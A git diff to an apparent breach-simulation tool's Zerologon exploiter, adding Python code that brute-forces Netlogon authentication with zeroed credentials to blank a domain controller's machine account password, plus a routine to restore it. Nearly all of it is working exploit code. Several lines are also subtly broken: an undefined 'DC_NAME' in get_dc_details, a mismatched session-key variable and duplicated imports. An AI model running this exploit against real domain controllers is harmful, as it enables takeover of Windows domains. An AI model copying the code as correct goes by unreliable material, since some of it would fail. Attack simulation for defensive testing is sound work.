diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2b1e04243..2c180009b 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -7,43 +7,65 @@ import logging from impacket.dcerpc.v5 import epm, nrpc, transport +from impacket.dcerpc.v5 import nrpc, epm +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5 import transport +from impacket import crypto +from impacket.dcerpc.v5.ndr import NDRCALL +import impacket + +from binascii import hexlify, unhexlify +from Cryptodome.Cipher import DES, AES, ARC4 + from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger LOG = logging.getLogger(__name__) +class NetrServerPasswordSet(nrpc.NDRCALL): + opnum = 6 + structure = ( + ('PrimaryName', nrpc.PLOGONSRV_HANDLE), + ('AccountName', nrpc.WSTR), + ('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE), + ('ComputerName', nrpc.WSTR), + ('Authenticator', nrpc.NETLOGON_AUTHENTICATOR), + ('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD), + ) + + +class NetrServerPasswordSetResponse(nrpc.NDRCALL): + structure = ( + ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), + ('ErrorCode', nrpc.NTSTATUS), + ) + + class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' + MAX_ATTEMPTS = 2000 def __init__(self, host): super().__init__(host) self.vulnerable_port = None + self.zerologon_finger = ZerologonFinger() def _exploit_host(self): - MAX_ATTEMPTS = 2000 - zerologon_finger = ZerologonFinger() + DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details() - DC_IP = self.host.ip - DC_NAME = zerologon_finger.get_dc_name(DC_IP) - DC_HANDLE = '\\\\' + DC_NAME - - if zerologon_finger.get_host_fingerprint(self.host): # exploitable - LOG.info("Target vulnerable, changing account password to empty string") + if self.is_exploitable(): + LOG.info("Target vulnerable, changing account password to empty string.") # Connect to the DC's Netlogon service. - binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, - protocol='ncacn_ip_tcp') - rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() - rpc_con.connect() - rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + rpc_con = self.connect_to_dc(DC_IP) # Start exploiting attempts. # Max attempts = 2000. Expected average number of attempts needed: 256. result = None - for _ in range(0, MAX_ATTEMPTS): + for _ in range(0, self.MAX_ATTEMPTS): try: - result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) + result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. @@ -61,25 +83,114 @@ class ZerologonExploiter(HostExploiter): else: LOG.info("Non-zero return code, something went wrong.") - # how do i execute monkey on the exploited machine? - # restore password + ## how do i execute monkey on the exploited machine? + ## restore password else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") - def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER): + def get_dc_details(self): + dc_ip = self.host.ip + dc_name = self.zerologon_finger.get_dc_name(dc_ip) + dc_handle = '\\\\' + DC_NAME + return dc_ip, dc_name, dc_handle + + def is_exploitable(self): + return self.zerologon_finger.get_host_fingerprint(self.host) + + def connect_to_dc(self, DC_IP): + binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + return rpc_con + + def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME): request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = DC_HANDLE + '\x00' - request['AccountName'] = TARGET_COMPUTER + '$\x00' + request['AccountName'] = DC_NAME + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator - request['ComputerName'] = TARGET_COMPUTER + '\x00' + request['ComputerName'] = DC_NAME + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request) - def restore_password(self): - # get nthash using secretsdump and then restore password - pass + def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): + ## get nthash using secretsdump and then restore password + + # Keep authenticating until successful. + LOG.info("Restoring original password...") + + for _ in range(0, self.MAX_ATTEMPTS): + rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) + if rpc_con is not None: + break + + if rpc_con: + LOG.info("DC machine account password should be restored to its original value.") + else: + LOG.info("Failed to restore password.") + + def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): + # Connect to the DC's Netlogon service. + rpc_con = self.connect_to_dc(DC_IP) + + plaintext = b'\x00'*8 + ciphertext = b'\x00'*8 + flags = 0x212fffff + + # Send challenge and authentication request. + server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00', + DC_NAME + '\x00', plaintext) + server_challenge = server_challenge_response['ServerChallenge'] + + try: + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00', + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + DC_NAME + '\x00', ciphertext, flags + ) + + # It worked! + assert server_auth['ErrorCode'] == 0 + server_auth.dump() + session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, + unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) + + try: + authenticator = nrpc.NETLOGON_AUTHENTICATOR() + authenticator['Credential'] = ciphertext + authenticator['Timestamp'] = b"\x00" * 4 + + nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse + nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) + + request = NetrServerPasswordSet() + request['PrimaryName'] = NULL + request['AccountName'] = DC_NAME + '$\x00' + request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + request['ComputerName'] = DC_NAME + '\x00' + request["Authenticator"] = authenticator + pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey) + request["UasNewPassword"] = pwd_data + resp = rpc_con.request(request) + resp.dump() + + except Exception as ex: + LOG.info(f"Unexpected error: {ex}") + + return rpc_con + + except nrpc.DCERPCSessionError as ex: + # Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working. + if ex.get_error_code() == 0xc0000022: + return None + else: + LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}") + + except BaseException as ex: + LOG.info(f"Unexpected error: {ex}")